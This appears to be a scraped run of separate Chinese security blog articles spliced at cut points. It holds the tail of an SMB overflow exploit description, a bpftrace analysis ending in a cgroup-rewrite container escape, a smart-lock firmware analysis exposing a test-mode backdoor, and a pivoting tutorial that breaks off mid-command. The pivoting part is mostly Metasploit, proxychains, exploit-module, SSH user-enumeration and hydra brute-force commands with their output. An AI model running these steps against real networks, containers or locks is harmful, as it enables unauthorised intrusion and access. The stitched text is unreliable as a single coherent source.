5.SMBv2_2n: 发送一组SMB v2数据包
6.FreeHole_B_CLOSE: 关闭连接来释放缓冲区
7.FINAL_Vulnerable_Buffer: 发送最后的数据包，这个数据包将会被存储在有漏洞的缓冲区中
有漏洞的缓冲区（之前SRVNET创建的）被填入的数据将会覆盖和部分SRVNET的缓冲区。在FEA list转换到NTFEA
list时会发生错误，因为FEA结构会在覆盖SRVNET缓冲区之后失效，所以服务器将以STATUS_INVALID_PARAMETER（0xC000000D）返回。 | 社区文章 |
# 背景
[红蓝对抗中的云原生漏洞挖掘及利用实录](https://security.tencent.com/index.php/blog/msg/183)
提到在容器内根据设备号创建设备文件，然后读写裸设备，来完成容器逃逸。
我测试时，发现即使关闭seccomp、apparmor，添加所有能力，在docker容器里也没有办法打开设备文件。现象如下
本文记录我对"在容器中为什么debugfs会提示无法打开设备文件"的定位过程，如果你对定位过程不感兴趣，也可以直接看总结。
# 分析思路是什么？
先看一下是哪个系统调用报错。
[root@instance-h9w7mlyv ~]# docker run --cap-add all --security-opt seccomp=unconfined --security-opt apparmor:unconfined -it quay.io/iovisor/bpftrace:latest bash
root@637af2dbb2b4:/# apt update && apt install strace
root@637af2dbb2b4:/# mknod vda1 b 253 1
root@637af2dbb2b4:/# strace debugfs -w vda1
...
write(2, "debugfs 1.45.5 (07-Jan-2020)\n", 29debugfs 1.45.5 (07-Jan-2020)
) = 29
openat(AT_FDCWD, "vda1", O_RDWR) = -1 EPERM (Operation not permitted)
write(2, "debugfs", 7debugfs) = 7
...
可以看到 openat 系统调用返回错误。
对比发现，宿主机上`debugfs`不会报错，如下
[root@instance-h9w7mlyv ~]# strace debugfs -w /dev/vda1 2>&1 |grep vda
execve("/usr/sbin/debugfs", ["debugfs", "-w", "/dev/vda1"], 0x7ffe45be4d50 /* 40 vars */) = 0
openat(AT_FDCWD, "/dev/vda1", O_RDWR) = 3
那为什么容器中openat会返回EPERM报错呢？
`man 2 openat` 在man手册中搜索EPERM，没有找到有用的信息。接下来准备用`bpftrace`工具找到为啥会报错
# bpftrace怎么定位报错原因？
首先得知道：linux中的文件系统也是有分层设计的。拿open举例，至少会经过系统调用、虚拟文件系统层(vfs)、通用块设备层等三层。
比如open loop设备(执行`debugfs /dev/loop0`命令)时，函数调用栈是
[root@instance-h9w7mlyv block]# bpftrace -e 'kprobe:lo_open {printf("%s\n",kstack)}'
Attaching 1 probe...
lo_open+1 // 设备驱动层
__blkdev_get+587
blkdev_get+417 // 通用块设备层
do_dentry_open+306
path_openat+1342
do_filp_open+147 // 虚拟文件系统层(vfs)
do_sys_open+388
do_syscall_64+91 // 系统调用层
entry_SYSCALL_64_after_hwframe+101
有了这个背景知识，我们可以从底层往上观测，看看容器中`debugfs vda1`时，函数调用最深到了哪一层。
我们可以用bpftrace观测open系统调用在内核的哪里返回EPERM。
[root@instance-h9w7mlyv block]# bpftrace -e 'kretfunc:do_filp_open {printf("%s,%p\n",str(args->pathname->name), retval)}' | grep vda
...
vda1,0xffff9ae4e190b100 // 宿主机中 debugfs /dev/vda1
vda1,0xffffffffffffffff // 容器中 mknod vda1 b 253 1; debugfs vda1
最终发现，do_filp_open函数 容器中测试时返回值是-1，宿主机中测试时是一个合法的内核空间地址。
为什么容器中do_filp_open函数会返回-1呢？
# 为什么容器中do_filp_open函数会返回-1？
通过`EPERM`关键字结合读[do_filp_open代码文件](https://elixir.bootlin.com/linux/v4.18/source/fs/namei.c)，猜测是may_open函数中做了校验，并且do_filp_open函数调用了may_open。
static int may_open(const struct path *path, int acc_mode, int flag)
{
...
error = inode_permission(inode, MAY_OPEN | acc_mode);
if (error)
return error;
如下，通过`bpftrace`观察到 容器中`debugfs vda1`时inode_permission函数返回值不同，可以确定是
inode_permission 函数做了校验，导致do_filp_open函数会返回-1
[root@instance-h9w7mlyv ~]# bpftrace -e 'kretfunc:inode_permission {printf("%d\n",retval)}' | grep -v 0
Attaching 1 probe...
-1
-1
...
> 宿主机实验时，inode_permission函数会返回0
那inode_permission函数是什么呢？它为什么会限制容器中不能访问块设备文件呢？
# 为什么inode_permission函数会限制访问块设备文件？
https://elixir.bootlin.com/linux/v4.18/source/fs/namei.c#L427
/**
* inode_permission - Check for access rights to a given inode
* @inode: Inode to check permission on
* @mask: Right to check for (%MAY_READ, %MAY_WRITE, %MAY_EXEC)
*
* Check for read/write/execute permissions on an inode. We use fs[ug]id for
* this, letting us set arbitrary permissions for filesystem access without
* changing the "normal" UIDs which are used for other things.
*
* When checking for MAY_APPEND, MAY_WRITE must also be set in @mask.
*/
int inode_permission(struct inode *inode, int mask)
{
int retval;
retval = sb_permission(inode->i_sb, inode, mask);
if (retval)
return retval;
if (unlikely(mask & MAY_WRITE)) {
/*
* Nobody gets write access to an immutable file.
*/
if (IS_IMMUTABLE(inode)) // chattr设置的不可变文件
return -EPERM;
/*
* Updating mtime will likely cause i_uid and i_gid to be
* written back improperly if their true value is unknown
* to the vfs.
*/
if (HAS_UNMAPPED_ID(inode))
return -EACCES;
}
retval = do_inode_permission(inode, mask);
if (retval)
return retval;
retval = devcgroup_inode_permission(inode, mask); // cgroup相关的检查 https://mp.weixin.qq.com/s/40lGQ6F90k3AEsojYMGTgg
if (retval)
return retval;
return security_inode_permission(inode, mask);
}
EXPORT_SYMBOL(inode_permission);
猜测是和cgroup限制有关，如下查看cgroup配置
root@43c937b87253:/# cat /sys/fs/cgroup/devices/devices.list
c 136:* rwm
c 5:2 rwm
c 5:1 rwm
c 5:0 rwm
c 1:9 rwm
c 1:8 rwm
c 1:7 rwm
c 1:5 rwm
c 1:3 rwm
b *:* m
c *:* m
c 10:200 rwm
参考[内核文档](https://elixir.bootlin.com/linux/v4.18/source/Documentation/cgroup-v1/devices.txt)，可以知道，上面规则，只允许创建块设备文件(mknod)，不允许读写块设备文件(rw)。
到这里，可以得出结论：因为cgroup限制，所以不能读写设备文件，因此open系统调用会返回`EPERM`报错，debugfs命令会报错。
那么我们可以修改cgroup配置吗？
# 可以修改cgroup配置吗？
再回过头看
[红蓝对抗中的云原生漏洞挖掘及利用实录](https://security.tencent.com/index.php/blog/msg/183)
文章，发现文中步骤中有修改cgroup配置，而我最开始漏看了。
[root@instance-h9w7mlyv ~]# docker run --cap-add all --security-opt seccomp=unconfined --security-opt apparmor:unconfined -it quay.io/iovisor/bpftrace:latest bash
root@45de41f70113:/# mkdir /tmp/dev
root@45de41f70113:/# mount -t cgroup -o devices devices /tmp/dev/ // 重新挂载cgroup device成可读写
root@45de41f70113:/# cat /proc/1/cgroup |head // 找到cgroup路径
12:devices:/system.slice/docker-45de41f70113152af289f9f0a19b708ca5b2ec1777c7745c8d83915b9d2de808.scope
...
root@45de41f70113:/# cd /tmp/dev/*/*45de41f70113152af289f9f0a19b708ca5b2ec1777c7745c8d83915b9d2de808*/
root@45de41f70113:/tmp/dev/system.slice/docker-45de41f70113152af289f9f0a19b708ca5b2ec1777c7745c8d83915b9d2de808.scope# cat devices.list
c 136:* rwm
c 5:2 rwm
c 5:1 rwm
c 5:0 rwm
c 1:9 rwm
c 1:8 rwm
c 1:7 rwm
c 1:5 rwm
c 1:3 rwm
b *:* m
c *:* m
c 10:200 rwm
root@45de41f70113:/tmp/dev/system.slice/docker-45de41f70113152af289f9f0a19b708ca5b2ec1777c7745c8d83915b9d2de808.scope# echo a > devices.allow // 允许对所有设备做读写操作
root@45de41f70113:/tmp/dev/system.slice/docker-45de41f70113152af289f9f0a19b708ca5b2ec1777c7745c8d83915b9d2de808.scope# cat devices.list // 验证cgroup配置修改成功
a *:* rwm
root@45de41f70113:/tmp/dev/system.slice/docker-45de41f70113152af289f9f0a19b708ca5b2ec1777c7745c8d83915b9d2de808.scope# cd
root@45de41f70113:~# mknod vda1 b 253 1 // 测试是否可以对块设备读写
root@45de41f70113:~# debugfs -w vda1
debugfs 1.45.5 (07-Jan-2020)
debugfs: ls /
2 (12) . 2 (12) .. 11 (20) lost+found 393217 (12) dev
524289 (12) proc 131073 (12) run 131074 (12) sys
393218 (12) etc 524290 (12) root 524291 (12) var
131075 (12) usr 32 (12) bin 14 (12) sbin 16 (12) lib
12 (16) lib64 262145 (12) boot 262146 (12) home 15 (16) media
262147 (12) mnt 262148 (12) opt 13 (12) srv 18 (12) tmp
22 (20) .autorelabel 34 (20) swap_file 103 (20) rules.json
5111809 (3756) roo
debugfs:
# 总结
虽然cgroup配置导致容器内默认不能对块文件设备读写，但是CAP_SYS_ADMIN能力能重新挂载cgroup文件系统成可读写，进而修改cgroup规则。所以在有CAP_SYS_ADMIN能力的容器中可以读写磁盘。
通过bpftrace工具很容易观察到内核文件系统的"分层设计"，也很容易定位到哪一层异常。在[CVE-2020-8558-跨主机访问127.0.0.1](https://mp.weixin.qq.com/s/hvb_Kr6DqAPPfnN-lbx1aA)案例中，我也是这么定位内核网络系统的丢包问题的。希望这个案例中关于bpftrace的使用示例能对你有点帮助。 | 社区文章 |
**作者：Yimi Hu & Light @ PwnMonkeyLabs
原文链接：<https://mp.weixin.qq.com/s/F5YHjG1t67Np53_kobG73Q>**
## **简介**
本篇为家庭版果加智能门锁全面分析的最后一篇，在此前的两篇中，我们分析讨论了门锁固件和配套的app。家庭版果加智能门锁的app相对较容易分析，通过日志可以直接定位到java层代码，并进一步追溯到native层代码，在libBleCmd.so中，我们看到了所有BLE指令的生成代码以及相关的加密和解密函数。在解密函数中，我们找到了参与解密算法的几个常量，通过这几个常量，我们在门锁固件的大量代码中，定位到了进行解密运算的几个函数，详细分析这几个函数后，确定了BLE解密密钥存储的内存地址，接收到的BLE指令存放的内存地址等，并根据交叉引用的结果不断增加我们对固件程序的理解，展开了固件代码的分析讨论。
在这篇文章我们顺着这条主线继续深入分析，随着我们理解的内容不断增多，我们会发现更多有有意义的函数。最后，我们会展示一个家庭版果加智能门锁存在的严重问题，该问题已于2018年修复完毕，现在拿出来讨论一下应该还未出“小玩闹”的范畴。
## **固件分析**
继续我们上一篇的思路，回到上一篇结尾时遗留的sub_80000C8函数位置。此函数为整个固件中最复杂的函数，我们将其F5反汇编之后，整理一下代码，可以看到该函数函数只有入口，没有出口：
图2-1 整理后的sub_80000C8函数
然后我们再搜索下sub_80000C8函数的交叉引用，如下图所示：
图2-2 sub_80000C8函数的交叉引用
继续向上溯源，可以找到下图所示位置：
图2-3 loc_80000C0标签的交叉引用
可以看到，sub_80000C8函数是系统复位中断之后执行的第二个函数。一般情况下，复位中断会执行两个函数，第一个函数为init函数，即图2-3的sub_800D704函数；而第二个函数为main函数，即图2-3的loc_80000C0标签处的代码。此外，单片机的main函数一般都是死循环，不存在执行完毕后退出的情况，这与我们在图2-3中看到的while死循环相对应。与我们常见的运行于操作系统之上的程序不同，比如说’
ls’、’pwd’等常见的程序，他们完成各自的功能之后，就会退出，而单片机上电之后，MCU就要开始运行给他编写的程序，一直到单片机断电为止。
确定main函数之后，我们把目光重新聚焦在上一篇分析的sub_800EB20函数，当时我们把这个函数的功能概括为预处理，即完成消息头校验、crc校验、数据解密等工作的函数。那么在预处理之后，就应该是解析BLE数据、完成逻辑功能的代码。相关代码截图如下：
图2-4 BLE命令解析相关代码
上图中，我们可以根据代码结构进行一些猜测：MEMORY[0x20000140]和MEMORY[0x20000169]应该是两个标志位，其中一个标志位标识收到了BLE指令；v115是预处理函数的返回值，返回值为0代表预处理成功，这与上一篇的分析是一致的；绿框部分的代码，即为真正解析BLE指令的代码。
然后我们再来看看sub_800F9EC函数，即图2-4绿框中的代码。将代码反汇编后，稍作整理，可以看到下图所示的特征：
图2-5 BLE指令解析代码
再结合app的输出日志，如下图所示：
图2-6 家庭版果加智能门锁app部分日志
可以确定图2-5 中，变量v3是保存了门锁发给手机的BLE指令类型，如图2-6中，0x2004类型代表开锁命令的返回数据。
下面我们仔细阅读一下图2-5中case 0xE004部分的代码，该分支是门锁对于BLE开锁指令的回复信息，将相关代码截图如下：
图2-7 BLE开锁指令回复分支
进一步分析图中涉及到的函数，可以确定sub_80125C8函数的作用是日期转时间戳，其返回值v57就是时间戳。变量v57将会与v59和v60进行了比较，当v57不在[v59,
v60]区间内时，就会调用sub_800D40C(0x1B)函数。此处的比较，我们是能够猜想到的：如果密码过期了，是无法开启门锁的，但是sub_800D40C(0x1B)函数就不太确定其含义了。所以我们再来研究一下sub_800D40C(0x1B)函数。
查找sub_800D40C(0x1B)函数的交叉引用，可以发现其调用位置有很多，如下图所示：
图2-8 函数sub_800D40C(0x1B)的交叉引用
上图中列出了大量调用sub_800D40C函数的位置。点开每个调用位置，可以发现每次调用该函数时都会传递一个常量作为参数。而且在main函数进入while循环之前，也会调用此函数，如下图所示：
图2-9 进入while循环之前调用sub_800D40C函数。
为确定sub_800D40C函数的真正含义，我们尝试更改函数的参数，然后将更改之后的固件刷入门锁。其更改方法并不复杂，直接进行16进制的固件文件编辑即可，如下图所示：
图2-10 sub_800D40C函数参数
上图中，红框部分为传入参数的数值，截图中分别是0x09和0x0A。在16进制编辑软件中打开固件文件，找到该偏移位置：
图2-11 十六进制编辑固件文件
将上图中的高亮字节0x09改为其他字节，如0xB，接着保存固件即可。然后将修改之后的固件刷到智能门锁设备中，刷入方法也比较简单，只需要在Fiddler中做一个AutoResponder，用修改过的固件替换原本固件，就可以了，具体操作如下图所示：
图2-12 利用Fiddler替换原本固件
待智能门锁完成固件更新之后，我们给门锁重新上电，当门锁运行至while循环之前的sub_800D40C(0xB)函数时，门锁发出提示音：“请输入新密码”，而不是往常的“设置成功”提示音。再次修改固件，使智能门锁调用sub_800D40C(0xC)函数，上电后门锁发出提示音：“请再次输入新密码”。由此，我们可以判定sub_800D40C函数正是发出语音提示的函数，而该函数的参数代表了不同语音提示内容。通过反复修改并刷入固件，我们整理了一部分语音提示内容的编号，如下表所示：
表2-1 家庭版果加智能门锁语音提示编号表
分析到此时，其实我们相当于在固件中找到了一个非常关键的函数：sub_800D40C函数。对于我们分析者来讲，这函数相当于日志输出的作用，在他的帮助之下，我们就能理解绝大部分代码，这里不再占用篇幅讨论更多内容了。
## **后门密码分析**
在表2-1中，我们可以看到有一个“进入测试模式”的语音输出。顺其自然的，我们想看看测试模式都干了点什么。通过sub_800D40C(0x3)函数，我们可以定位到原固件中进入测试模式的代码，如下图所示：
图3-1 进入测试模式的相关代码
上图中，可以看到一个关键的判断是v84的返回值。观察图中的函数参数，应该是和0x80126EE内存地址有点关系。我们跳转到0x80126EE函数的位置，可以看到如下内容：
图3-2 偏移为0x80126EE位置的内存内容
上图中的内容，我们打了码，不过还是可以看出来，这些内容是智能门锁的键盘内容。如果不打码，我们担心影响太糟糕。
我们试着在门锁关闭的状态下输入这一串字符，当输入前两位时，门锁提示说“密码错误”，此时不要停，继续输入，待全部输入完毕之后，门锁果然提示说“进入测试模式”。然后，我们随便在门锁键盘上按了2个数字加‘#’号键，门锁竟然开启了。就这样，我们有了一个惊天发现：后门密码。看起来这并不是故意留下的后门密码，但确实实现了开门的效果。
图3-3 通过测试模式开启门锁
## **小结**
到这篇为止，我们完成了关于果加智能门锁的分享内容，在这次分享中，我们着重介绍了IoT固件的分析方法，解析固件内容，反汇编固件程序，并分析这些看起来意义不明的代码。在分析过程中，可以以其配套的手机app作为切入点，凭借此app与门锁之间的通信内容，在门锁固件程序中定位关键的代码，逐步理解固件内容。最后，我们还演示了关于果加智能门锁的一个小玩闹。纸上得来终觉浅，绝知此事要躬行。建议感兴趣的读者还是亲自尝试分析一下。最后，希望大家能够喜欢这个分享内容，如若有什么想讨论的，可以随时联系我们。
* * * | 社区文章 |
# 【技术分享】多重转发渗透隐藏内网
##### 译文声明
本文是翻译文章，文章来源：pentest.blog
原文地址：<https://pentest.blog/explore-hidden-networks-with-double-pivoting/>
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[quanyechavshuo](http://bobao.360.cn/member/contribute?uid=1255579132)
预估稿费：150RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**0x00 About**
****
内网机器如下：
说明:
1)Attacker为攻击者,有一个网卡,网段为172.16.0.0,Attacker系统为kali系统
2)RD为第一个已经渗透的目标,有两块网卡,对应172.16.0.0和7.7.7.0两个网段
3)JC有两块网卡,对应7.7.7.0和8.8.8.0两个网段,JC有ms08-067和efs bof两个漏洞,可getshell
4)SK有一块网卡,对应8.8.8.0网段,SK有vsftpd的漏洞,可getshell
5)起初Attacker只拿到RD的msf的shell,对于目标内网情况一无所知,也不知道存在7.7.7.0和8.8.8.0这两个隐藏的网段
6)目标是准备通过RD来渗透内网中7.7.7.0和8.8.8.0两个隐藏的网段
**0x01 Step1**
Attacker在RD上通过webshell运行了一个reverse类型的后门,然后操作如下:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.16.0.20
LHOST => 172.16.0.20msf exploit(handler) > set LPORT 1234
LPORT => 1234msf exploit(handler) > run
[*] Started reverse TCP handler on 172.16.0.20:1234
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 172.16.0.11
[*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162)meterpreter > ifconfig
Interface 1============
Name : Software Loopback Interface 1Hardware MAC : 00:00:00:00:00:00MTU : 4294967295IPv4 Address : 127.0.0.1IPv4 Netmask : 255.0.0.0IPv6 Address : ::1IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11============
Name : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:e1:3f:af
MTU : 1500IPv4 Address : 172.16.0.11IPv4 Netmask : 255.255.255.0Interface 19============
Name : Intel(R) PRO/1000 MT Desktop Adapter #2Hardware MAC : 08:00:27:7f:3c:fe
MTU : 1500IPv4 Address : 7.7.7.11IPv4 Netmask : 255.255.255.0
**
**
**0x02 Step2**
发现RD有两块网卡后,想办法渗透另一个网段7.7.7.0,首先要添加路由[不添加路由也可以直接用meterpreter shell中的模块访问
到7.7.7.x网段,添加路由的目的是为了使得msf模块可以访问到7.7.7.x网段],meterpreter
shell可以访问到7.7.7.x网段,msf 中的模块不能访问到7.7.7.x网段,msf中的模块所处的ip是攻击者的ip,meterpreter
shell所处的ip是RD的ip.在meterpreter中
添加路由的目的是为了给msf模块作代理,也即给Attacker作代理,但是只能给Attacker的msf模块作代理,要想给Attacker的其他
应用程序作代理,则需要在meterpreter添加路由后再运行msf的开启sock4的模块,然后再用proxychains来设置Attacker的其他
应用程序的代理为msf的开启sock4代理模块中设置的代理入口。
操作如下:
meterpreter > run autoroute -s 7.7.7.0/24[*] Adding a route to 7.7.7.0/255.255.255.0...
[+] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11[*] Use the -p option to list all active routes
meterpreter > run autoroute -p
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- ------- 7.7.7.0 255.255.255.0 Session 2meterpreter >
然后开始扫描7.7.7.0网段,操作如下:
meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24[*] Running module against DISCORDIA
[*] ARP Scanning 7.7.7.0/24[*] IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS)
[*] IP 7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUS CIMPUTER SYSTEMS)
[*] IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS)
[*] IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS)
meterpreter >
arp_scanner不太够用,不能扫到端口信息[此时也可用msf自带的其他可以扫描端口的模块如auxiliary/scanner/portscan/tcp来扫
描,因为前面添加了路由,使得msf中的模块可以用meterpreter作为代理访问到7.7.7.x网段],于是用Attacker本机的nmap来扫[可以
更完全的扫描,nmap应该比msf中的扫描模块强大],首先在RD上开sockets4代理,然后用proxychains设置nmap的代理为msf模块开
启的Attacker的1080端口提供的代理,操作如下:
meterpreter > background
[*] Backgrounding session 2...
msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Auxiliary action:
Name Description
---- ----------- Proxy
msf auxiliary(socks4a) > set srvhost 172.16.0.20
srvhost => 172.16.0.20msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
msf auxiliary(socks4a) > netstat -antp | grep 1080
[*] exec: netstat -antp | grep 1080
tcp 0 172.16.0.20:1080 0.0.0.0:* LISTEN 3626/ruby
msf auxiliary(socks4a) >
proxychains设置/etc/proxychains.conf如下:
[ProxyList]# add proxy here ...# meanwile# defaults set to "tor"#socks4 127.0.0.1 9050socks4 172.16.0.20 1080
nmap扫描如下:
root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 7.7.7.20ProxyChains-3.1 (http://proxychains.sf.net)Starting Nmap 7.25BETA1 ( https://nmap.org )|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:80-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK
Nmap scan report for 7.7.7.20Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh Bitvise WinSSHD 7.16 (FlowSsh 7.15; protocol 2.0)80/tcp closed http Easy File Sharing Web Server httpd 6.9
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003
Host script results:
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250|_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspxService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds
root@kali:~#
现在发现了7.7.7.20(JC)这台机器端口开放比较多,尝试找出JC的漏洞,操作如下:
首先看看JC的80端口运行了什么cms,但是Attacker的浏览器直接访问http://172.16.0.20会无法访问,因为Attacker的网段与JC
不在同一网段,此处有个要注意的内容:
Attention:可以选择使用proxychains设置Attacker的浏览器的代理为Attacker的1080端口的socks4代理入口,也可通过在RD的meterpreter会
话中运行portfwd模块命令,portfwd命令如下:
meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20[*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80meterpreter >
meterpreter > portfwd listActive Port Forwards
====================
Index Local Remote Direction
----- ----- ------ --------- 1 172.16.0.20:2323 7.7.7.20:80 Forward1 total active port forwards.
meterpreter >
通过访问Attacker的2323端口访问JC的80端口,结果如下:
这里的portfwd模块不只是名字上的端口转发的意思,目前笔者认为portfwd相当于半个ssh正向代理加一个ssh反向代理组成的综合命令,ssh正向反向代理可参考这里的理解
。ssh正向反向代理理解笔者认为portfwd命令之后Attacker可以通过访问Attacker本身ip的2323端口进而访问到JC的80端口期间发生了3件事。
1.RD访问JC的80端口,这里相当于半个ssh正向代理
2.RD绑定已经访问到的JC的80端口的数据到Attacker的2323端口,这里相当于一个ssh反向代理,相当于RD有Attacker的ssh权限
3.攻击者的浏览器访问攻击者自己的172.16.0.20:2323
portfwd的用法如下:
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L >opt> The local host to listen on (optional).
-h Help banner.
-l >opt> The local port to listen on.
-p >opt> The remote port to connect on.
-r >opt> The remote host to connect on.
meterpreter >
其中-L只能设置为攻击者的ip,不能设置为肉鸡的ip,-L设置的ip可以是攻击者的内网ip,-r也可以是目标的内网ip,两个内网之
间通过meterpreter会话的"隧道"来连通,如果-L后设置的ip是攻击者的内网ip,-r后设置的是目标机器的内网ip,portfwd通过
meterpreter会话连通两台,-l是指攻击者的监听端口,运行完上面的portfwd add -L 172.16.0.20 -l 2323 -p 80
-r 7.7.7.20 命令后,Attacker的2323端口将变成监听状态(也即Attacker会开启2323端口) 这里还要注意route
add命令只能是在meterpreter会话中有效,不能系统全局有效,笔者认为route add也是通过meterpreter会
话的"隧道"来实现攻击者能够访问目标机器其他网段机器的,也即在上面的Attacker通过portfwd来实现访问目标机器其他网段
机器而不能因为在portfwd模块运行前由于已经运行了route add模块而由Attacker的浏览器直接访问目标7.7.7.20:80,因为 route
add只会给msf的模块提供meterpreter会话通道作为代理服务,只有meterpreter会话下可用的模块可以直接访问7.7.7.x
网段,Attacker的浏览器想直接访问7.7.7.20需要使用proxychins和msf开启的sock4代理.
上面访问得到目标机器JC的80端口信息看出JC运行的是Eash File Sharing Web
Server,可用msf中的模块尝试getshell,操作如 下(如果没有在meterpreter中添加路由msf是访问不到7.7.7.20的):
msf > use exploit/windows/http/easyfilesharing_seh
msf exploit(easyfilesharing_seh) > show options
Module options (exploit/windows/http/easyfilesharing_seh):
Name Current Setting Required Description
---- --------------- -------- ----------- RHOST yes The target address
RPORT 80 yes The target port
Exploit target:
Id Name
-- ---- 0 Easy File Sharing 7.2 HTTP
msf exploit(easyfilesharing_seh) > set rhost 7.7.7.20
rhost => 7.7.7.20msf exploit(easyfilesharing_seh) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(easyfilesharing_seh) > run
[*] Started bind handler
[*] 7.7.7.20:80 - 7.7.7.20:80 - Sending exploit...
[+] 7.7.7.20:80 - Exploit Sent
[*] Sending stage (957999 bytes) to 7.7.7.20
[*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) at 2016-12-26 14:21:11 +0300
或者从JC(7.7.7.20)22端口入手:
msf > use auxiliary/scanner/ssh/ssh_enumusers
msf auxiliary(ssh_enumusers) > set rhosts 7.7.7.20rhosts => 7.7.7.20msf auxiliary(ssh_enumusers) > set rport 22rport => 22msf auxiliary(ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt
user_file => /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt
msf auxiliary(ssh_enumusers) > run
[*] 7.7.7.20:22 - SSH - Checking for false positives
[*] 7.7.7.20:22 - SSH - Starting scan
[+] 7.7.7.20:22 - SSH - User 'admin' found
[-] 7.7.7.20:22 - SSH - User 'root' not found
[-] 7.7.7.20:22 - SSH - User 'Administrator' not found
[+] 7.7.7.20:22 - SSH - User 'sysadm' found
[-] 7.7.7.20:22 - SSH - User 'tech' not found
[-] 7.7.7.20:22 - SSH - User 'operator' not found
[+] 7.7.7.20:22 - SSH - User 'guest' found
[-] 7.7.7.20:22 - SSH - User 'security' not found
[-] 7.7.7.20:22 - SSH - User 'debug' not found
[+] 7.7.7.20:22 - SSH - User 'manager' found
[-] 7.7.7.20:22 - SSH - User 'service' not found
[-] 7.7.7.20:22 - SSH - User '!root' not found
[+] 7.7.7.20:22 - SSH - User 'user' found
[-] 7.7.7.20:22 - SSH - User 'netman' not found
[+] 7.7.7.20:22 - SSH - User 'super' found
[-] 7.7.7.20:22 - SSH - User 'diag' not found
[+] 7.7.7.20:22 - SSH - User 'Cisco' found
[-] 7.7.7.20:22 - SSH - User 'Manager' not found
[+] 7.7.7.20:22 - SSH - User 'DTA' found
[-] 7.7.7.20:22 - SSH - User 'apc' not found
[+] 7.7.7.20:22 - SSH - User 'User' found
[-] 7.7.7.20:22 - SSH - User 'Admin' not found
[+] 7.7.7.20:22 - SSH - User 'cablecom' found
[-] 7.7.7.20:22 - SSH - User 'adm' not found
[+] 7.7.7.20:22 - SSH - User 'wradmin' found
[-] 7.7.7.20:22 - SSH - User 'netscreen' not found
[+] 7.7.7.20:22 - SSH - User 'sa' found
[-] 7.7.7.20:22 - SSH - User 'setup' not found
[+] 7.7.7.20:22 - SSH - User 'cmaker' found
[-] 7.7.7.20:22 - SSH - User 'enable' not found
[+] 7.7.7.20:22 - SSH - User 'MICRO' found
[-] 7.7.7.20:22 - SSH - User 'login' not found
[*] Caught interrupt from the console...
[*] Auxiliary module execution completed
^C
msf auxiliary(ssh_enumusers) >
然后用hydra本地用msf模块开启的1080端口的sock4代理尝试爆破:
root@kali:~# proxychains hydra 7.7.7.20 ssh -s 22 -L /tmp/user.txt -P top100.txt -t 4
ProxyChains-3.1 (http://proxychains.sf.net)
